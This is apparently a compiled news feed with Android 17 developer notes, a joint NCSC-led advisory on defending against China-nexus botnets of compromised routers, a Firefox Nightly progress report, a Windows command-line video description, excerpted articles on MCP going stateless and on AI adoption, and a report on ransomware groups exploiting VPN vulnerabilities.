CameraX and Media3 have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture, smooth media playback, and creative and complex editing experiences.

We've released an agent skill that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.

Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.

Get your apps, libraries, tools, and game engines ready!

If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.

Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps running on and targeting Android 17 to focus your testing, including the following:

Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints on large screens.
Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection introduced in Android 14 for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.
Enable CT by default: Certificate transparency (CT) is enabled by default. (On Android 16, CT is available but apps had to opt in.)
Local network protections: Apps targeting SDK 37 or higher have local network access blocked by default. Switch to using privacy preserving pickers if possible, and use the new ACCESS_LOCAL_NETWORKpermission for broad, persistent access.
Background audio hardening: Starting in Android 17, the audio framework enforces restrictions on background audio interactions including audio playback, audio focus requests, and volume change APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the updated guidance.
NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare FEATURE_NEURAL_PROCESSING_UNIT in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the LiteRT NPU delegate, vendor-specific SDKs, as well as the deprecated NNAPI.

Get started with Android 17

Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can use the 64-bit system images with the Android Emulator in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.

Getting the Android 17 beta on partner devices

Android 17 is available in beta on handset, tablet, and foldable form factors from partners including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.

For the best development experience with Android 17, we recommend that you use the latest Canary build of Android Studio Quail. Once you’re set up, here are some of the things you should do:

Test your current app for compatibility, learn whether your app is affected by changes in Android 17, and install your app onto a device or Android Emulator running Android 17 and extensively test it.

Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.

For complete information on Android 17 please visit the Android 17 developer site.

Defending Against China-Nexus Covert Networks of Compromised Devices

Sat, 25 Jul 2026 09:10:14 +0200

Defending against china-nexus covert networks of compromised devices

executive summary

Defending against China-nexus covert networks of compromised devices

Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it

Summary

With support from the UK Cyber League, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners:

Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)
Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)
Germany Federal Office for the Protection of the Constitution - Bundesamt für Verfassungsschutz (BfV)
Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)
Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)
Japan National Cybersecurity Office (NCO) - 国家サイバー統括室
Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)
Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)
New Zealand National Cyber Security Centre (NCSC-NZ)
Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)
Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)
United States Cybersecurity and Infrastructure Security Agency (CISA)
United States Department of Defense Cyber Crime Center (DC3)
United States Federal Bureau of Investigation (FBI)
United States National Security Agency (NSA)

Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity.

Introduction

Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices.

The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices.

Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been used by Chinese state-sponsored actors Volt Typhoon to pre-position offensive cyber capabilities on critical national infrastructure. The group Flax Typhoon used a different covert network of compromised infrastructure to conduct cyber espionage.

The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.

This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.

Covert Networks

Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity.

There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also assessed by the FBI to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon.

Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester

Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon was mainly made up of vulnerable Cisco and NetGear routers. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers.

The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a public blog in May 2024 talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use.

Typical Network Topology

The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network.

Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful.

However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it.

A diagram illustrating the basic setup of a covert network.

The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target.

Protective Advice

Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.

The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices.

Further guidance for all organizations facing cyber security threats is available on the NCSC website.

This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.

All organizations

The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them:

Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.
Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
- Would you expect connections from consumer broadband ranges?
Leverage available dynamic threat feeds which include covert network infrastructure.
Implement multifactor authentication for remote connections.

Smaller organizations should consider creating and actioning a free NCSC Cyber Action Toolkit.

Larger or more at-risk organizations

Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:

Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.
Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.
Implement zero trust policies for connections.
Enforce machine certificates for Secure Sockets Layer (SSL) connections.
Reduce the internet-facing presence of the IT estate.
Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies.

The NCSC's Cyber Essentials can help protect organizations of all sizes.

Largest or most at-risk organizations

If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.

Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.
Track and map covert networks reported by industry or government by looking at banners and certificates.
Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.
Consider using NetFlow feeds to look upstream and map covert networks to find new nodes.

The NCSC Cyber Assessment Framework provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government. 

MITRE ATT&CK®

This advisory has been compiled with respect to the MITRE ATT&CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations.

Tactic	ID	Technique	Procedure
Resource Development	T1584.005	Compromise Infrastructure: Botnet	Botnets are used as core components of covert networks
Resource Development	T1584.008	Compromise Infrastructure: Network Devices	Devices are compromised and added to botnets
Resource Development	T1583.003	Acquire Infrastructure: Virtual Private Server	Virtual private servers (VPS) are used in covert networks, typically as on-ramps
Command and Control	T1090.003	Proxy: Multi-hop Proxy	Used by China-nexus cyber actors to route traffic

Appendix: Cyber Security Best Practices

In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory.

Protect your devices and networks by keeping them up to date: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software
Prevent and detect lateral movement in your organization’s networks. See NCSC Guidance: https://www.ncsc.gov.uk/guidance/preventing-lateral-movement
Implement architectural controls for network segregation. See NCSC Guidance: https://www.ncsc.gov.uk/guidance/10-steps-network-security
Set up a security monitoring capability so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes and https://www.ncsc.gov.uk/information/logging-made-easy
Use modern systems and software. These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance: https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products
Restrict intruders' ability to move freely around your systems and networks. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: https://www.ncsc.gov.uk/guidance/preventing-lateral-movement and https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security.
Deploy a host-based intrusion detection system. A variety of products are available, free and paid-for, to suit different needs and budgets.
Further information: Invest in preventing malware-based attacks across various scenarios. See NCSC Guidance: https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks

Disclaimer

This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about NCSC assured services.

This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.

Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.

Firefox Nightly: Giving You More Control – These Weeks in Firefox: Issue 204

Sat, 25 Jul 2026 08:37:31 +0200

Highlights

Maxx Crawford added a pref to hide the New Tab logo so users can opt out of branding without altering page layout or resorting to CSS overrides.
Harshit enabled video overlay detection in Nightly 153, allowing you to use the context menu to control videos on more pages! We plan on letting this ride out in Firefox 153.
- You can try it out on this Instagram reel in Nightly

A note to WebExtension authors – as part of a planned deprecation announced last month, executeScript and insertCSS are now restricted from moz-extension pages starting in Firefox 152 – Bug 2015559
Nicolas Chevobbe [:nchevobbe] added support and debugging for modern attr()(which is enabled on Nightly) (#2014751)

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

Sam Johnson
Sebastian Zartner [:sebo]

New contributors (🌟 = first patch)

Immaculate Atim: Switch to using an array instead of an object string for browser.backup.enabled_on.profiles
liz: Screenshots overlay visible on both splitview browsers
🌟 Rahman Mahmutović [:r_m]: Can’t change content in box model in inspector for box-sizing:border-box elements
Takeru Mitsumori: Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html
🌟 Freya Arbjerg [:freyacodes]: Blackboxed columns are ignored
tom.passarelli: tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons

As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page – Bug 1881767

WebExtensions Framework

Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features – Bug 1745823
Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) – Bug 1904054
- Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.

WebExtension APIs

Fixed handling of as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install – Bug 1758306

DevTools

Rahman Mahmutović [:r_m] made it possible to edit width/height in the box model section of the Layout panel (#1717176)
Sebastian Zartner [:sebo] improved toggling tools driving in-page highlighters (e.g. the Measuring) (#1262773)
Sebastian Zartner [:sebo] added a setting to control visibility of HTML comments in the markup view (#1455294)
Freya Arbjerg [:freyacodes] fixed an issue in script blackboxing (#2036767)
Alexandre Poirot [:ochameau] replaced custom preference to log RDP messages with MOZ_LOG (#1622857)
Alexandre Poirot [:ochameau] fixed retrieval of garbage collected script text content (#1758454)

WebDriver

Sameem updated the “Take Element Screenshot” command from WebDriver Classic to crop screenshots of elements which exceed the viewport. This aligns with the specification and avoids errors when attempting to capture huge elements.
Alexandra Borovova updated the events for new top-level browsing contexts: we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used. This is required to align with the expected per-spec behavior.
Henrik Skupin landed a patch allowing geckodriver to gracefully shut down Firefox when geckodriver itself is terminated.
Hiroyuki Ikezoe disabled Firefox’s “scroll axis lock” feature so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.

Lint, Docs and Workflow

Added a rule to prevent new uses of Preferences.sys.mjs.
The browser environment globals within ESLint have now been updated. These include Sanitizer, VideoFrame and a few other new ones.
Temporal, and some other definitions have been added to TypeScript.

New Tab Page

Much has happened in the last 2 weeks! Here’s a full bug list, and here are some highlights.
Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (2033592) — prevents accidental list creation and improves the Lists UI reliability.
Maxx Crawford fixed Weather widget small card layout issues with opt-in location options and an error message displayed, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.
Reem Hamoui added key dates state to the Sports widget, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.
Scott Downe added a manage widgets option to the New Tab nova widgets context menu, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.
Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see Newtab widget base component.
Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see Convert widget expansion handling to shared widget expansion.
Nina Pypchenko [:nina-py] updated the Sports widget to populate the “follow teams” state from the /teams endpoint, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.
Scott Downe moved widget menu items within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.
Dre fixed a World Clock city search bug for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.
Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see Newtab small weather widget size change doesn’t always work.
Nina Pypchenko [:nina-py] added a group stage section to match highlights in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.
Dre fixed the small world clock widget not expanding to large while editing clocks so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.
Maxx Crawford added WCW OMC message strings so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.
Reem Hamoui added a “View all” button and a list view for the results tab at medium widget size so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.
Maxx Crawford added WCW “Watch Live” stream strings to the Sports widget strings bundle so the widget can surface a localized “Watch Live” CTA for applicable events.
Dre restored VoiceOver reachability for Edit/Remove in World Clock on macOS so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.
Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (2041033).
Mike Conley added New Tab jest tests to the node tests Tier 1 CI job Run newtab jest tests as part of node tests Tier 1 job to catch regressions earlier in CI
Irene Ni shipped multiple visual fixes for the Sports widget Sports widget – various visual fixes (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.

Picture-in-Picture

kpatenio adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably, especially when selecting videos from the YouTube search page.
Thanks to Sylvestre for patching some bugs to prevent some spurious console errors!
Niklas fixed captions on autopip videos failing to sync with the origin videos.

Performance Tools (aka Firefox Profiler)

Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.
- https://www.npmjs.com/package/@firefox-devtools/profiler-cli
- You can install it with npm install -g @firefox-devtools/profiler-cli@latest

Search and Urlbar

Nova UI refresh

Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.
2019154, 2019152, 2041501, 2040532

Suggest

Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.
2040561, 2039753, 2035614, 2038843

Adaptive autofill

James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.
2040819, 2037177

Quick actions

Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.
Caleb added Calculator support for certain unicode operators.
2023169, 1928635, 1923383, 2033861

Multi Context Address Bar

Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.
2039297, 2036095, 2039844, 2037933, 2030050

Other

Marco, Drew and Daisuke fixed several intermittent test failures.
2038510, 2023908, 2011584, 1938142, 1971091

Search

Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from resource://search-extensions/.
Caleb fixed multiple documentation issues and added a test covering searches from a private window.
1904613, 2035878, 2037942, 2033545, 2005724

Places

Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.
Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.
2039534, 1505800, 2008829, 2029541, 2035084

40 Windows Commands you NEED to know (in 10 Minutes)

Sat, 25 Jul 2026 08:36:52 +0200

Author: NetworkChuck - Bewertung: 180418x - Views:4300547

Keep your computer safe with BitDefender: https://bit.ly/BitdefenderNC (59% discount on a 1 year subscription)

Here are the top 40 Windows Command Prompt commands you need to know!! From using ipconfig to check your IP Address to using the shutdown command to automatically boot to bios, these commands are essential for any Windows user. Also, is your computer running slow? We show a series of commands that will speed up your computer without having to reinstall Windows. All of these commands should work on Windows 10 and Windows 11 and all you need to do is launch your windows command prompt (cmd).

🔥🔥Join NetworkChuck Academy: https://ntck.co/NCAcademy

**Sponsored by Bitdefender

SUPPORT NETWORKCHUCK
---------------------------------------------------
➡️NetworkChuck membership: https://ntck.co/Premium
☕☕ COFFEE and MERCH: https://ntck.co/coffee

Check out my new channel: https://ntck.co/ncclips

🆘🆘NEED HELP?? Join the Discord Server: https://discord.gg/networkchuck

STUDY WITH ME on Twitch: https://bit.ly/nc_twitch

READY TO LEARN??
---------------------------------------------------
-Learn Python: https://bit.ly/3rzZjzz
-Get your CCNA: https://bit.ly/nc-ccna

0:00 ⏩ Intro
0:15 ⏩ Launch Windows Command Prompt
0:18 ⏩ ipconfig
0:25 ⏩ ipconfig /all
0:33 ⏩ findstr
0:49 ⏩ ipconfig /release
0:56 ⏩ ipconfig /renew
1:15 ⏩ ipconfig /displaydns
0:56 ⏩ ipconfig /renew
1:29 ⏩ clip
1:47 ⏩ ipconfig /flushdns
2:09 ⏩ nslookup
2:41 ⏩ cls
2:51 ⏩ getmac /v
3:01 ⏩ powercfg /energy
3:10 ⏩ powercfg /batteryreport
3:28 ⏩ assoc
3:51 ⏩ Is your computer slow???
3:56 ⏩ chkdsk /f
4:07 ⏩ chkdsk /r
4:17 ⏩ sfc /scannnow
4:36 ⏩ DISM /Online /Cleanup /CheckHealth
4:45 ⏩ DISM /Online /Cleanup /ScanHealth
4:51 ⏩ DISM /Online /Cleanup /RestoreHealth
5:24 ⏩ tasklist
5:38 ⏩ taskkill
5:59 ⏩ netsh wlan show wlanreport
6:18 ⏩ netsh interface show interface
6:27 ⏩ netsh interface ip show address | findstr “IP Address”
6:30 ⏩ netsh interface ip show dnsservers
6:36 ⏩ netsh advfirewall set allprofiles state off
6:43 ⏩ netsh advfirewall set allprofiles state on
6:49 ⏩ SPONSOR - BitDefender
8:19 ⏩ ping
8:30 ⏩ ping -t
8:41 ⏩ tracert
8:59 ⏩ tracert -d
9:06 ⏩ netstat
9:12 ⏩ netstat -af
9:28 ⏩ netstat -o
9:38 ⏩ netstat -e -t 5
9:47 ⏩ route print
9:58 ⏩ route add
10:13 ⏩ route delete
10:21 ⏩ shutdown /r /fw /f /t 0

FOLLOW ME EVERYWHERE
---------------------------------------------------
Instagram: https://www.instagram.com/networkchuck/
Twitter: https://twitter.com/networkchuck
Facebook: https://www.facebook.com/NetworkChuck/
Join the Discord server: http://bit.ly/nc-discord

AFFILIATES & REFERRALS
---------------------------------------------------
(GEAR I USE...STUFF I RECOMMEND)
My network gear: https://geni.us/L6wyIUj
Amazon Affiliate Store: https://www.amazon.com/shop/networkchuck
Buy a Raspberry Pi: https://geni.us/aBeqAL
Do you want to know how I draw on the screen?? Go to https://ntck.co/EpicPen and use code NetworkChuck to get 20% off!!

#windows11 #commandprompt #cmd

Model Context Protocol is going stateless to make scaling simpler

Fri, 24 Jul 2026 17:40:37 +0200

Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.

“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.

It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.

MCP’s new features

Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.

Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.

They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.

Rebuilding the trust boundary

The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.

Updated MCP SDKs

That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.

Identifying and auditing those session dependencies may not be easy, Jena warned.

Model Context Protocol is going stateless to make scaling simpler

Fri, 24 Jul 2026 17:38:35 +0200

Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.

“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said Muskan Bandta, cloud associate at ZopDev.

It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.

MCP’s new features

Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.

Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.

They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.

Rebuilding the trust boundary

The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.

Updated MCP SDKs

That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.

Identifying and auditing those session dependencies may not be easy, Jena warned.

This article first appeared on InfoWorld.

Security Workarounds: The Risk Signal Hiding in Plain Sight

Fri, 24 Jul 2026 15:11:05 +0200

Short answer

Security workarounds are unofficial ways people bypass, modify, or route around approved processes to get work done. They can create cyber risk, but they also reveal where security controls, business workflows, tools, incentives, or guidance may not fit real work. Mature human risk management programs treat workarounds as risk signals, not just employee misbehavior.

Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption

Fri, 24 Jul 2026 13:04:13 +0200

AI as a leadership multiplier

Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.

The requirement for top-down, executive ownership stems from three critical realities observed in the field:

Silo-smashing and data collaboration: True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.
Cultural transformation and fear mitigation: AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.
C-Suite education and strategic alignment: The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.

AI as a new operational framework

In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.

Risks in the AI adoption model

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Ransomware groups are hammering your vulnerable VPNs

Fri, 24 Jul 2026 09:10:09 +0200

Cybercriminals are actively exploiting a recently discovered vulnerability in Palo Alto Networks firewall and VPN appliances to deploy the Qilin ransomware strain.

A critical authentication bypass flaw (CVE-2026-0257) in Palo Alto GlobalProtect portal and gateway was the common link in a series of intrusions in June, Arctic Wolf Labs warns. Exploitation of the vulnerability came within days of disclosure.

“Post-exploitation tradecraft varied across intrusions, from rapid encryption-only operations to full double-extortion, possibly suggesting multiple affiliates operating under the Qilin ransomware-as-a-service (RaaS) umbrella,” Arctic Wolf’s researchers wrote in a post on the threat.

The campaign against Palo Alto’s VPN client is part of a rising trend that sees ransomware groups increasingly targeting vulnerabilities in network edge tools and devices.

Ransomware takes aim at the edge

Beyond GlobalProtect, Qilin — the most active threat group in Q2 2026, responsible for 14% of attacks, according to NCC Group’s latest Quarterly Cyber Threat Intelligence Report — has also targeted flaws in Fortinet’s FortiGate, Citrix NetScaler, and Check Point Remote Access VPN.

Check Point warned in June of ransomware attacks against VPNs that still use the deprecated Internet Key Exchange version 1 (IKEv1) protocol. Citrix issued patches in early July for a CitrixBleed-like flaw in its NetScalar devices that had come under attack.

Meanwhile, Fortibleed, a massive credential-compromise campaign, exposed 75,000 FortiGate firewalls in June.

Qilin is by no means alone in increasing its operations against VPNs and other network security tools.

The Gentlemen, No. 2 on NCC Group’s list with 238 victims in Q2 2026, is noted for breaking into organizations through firewalls, VPNs, and other internet-exposed systems — FortiGate and Cisco products in particular.

Akira, No. 4 on NCC Group’s list (127 victims), is also known for exploiting VPN vulnerabilities and abusing legitimate credentials, primarily versus products from Ivanti, Cisco, and Fortinet.

In the line of fire

Network edge security devices are becoming security liabilities for enterprise security professionals, with an alarming rise in zero-day exploits arising from what experts describe as basic and readily preventable vulnerabilities.

A range of attackers spanning opportunistic hackers to ransomware-as-a-service operators and nation-state sponsored APT (advanced persistent threat) groups are actively exploiting software vulnerabilities in edge devices to hack into corporate networks.

“Although there has not been a material rise in ransomware volume in the last quarter, the trajectory of attacks continues upwards, and VPNs remain an increasingly attractive target,” said Matt Hull, VP and head of cyber intelligence and response at NCC Group.

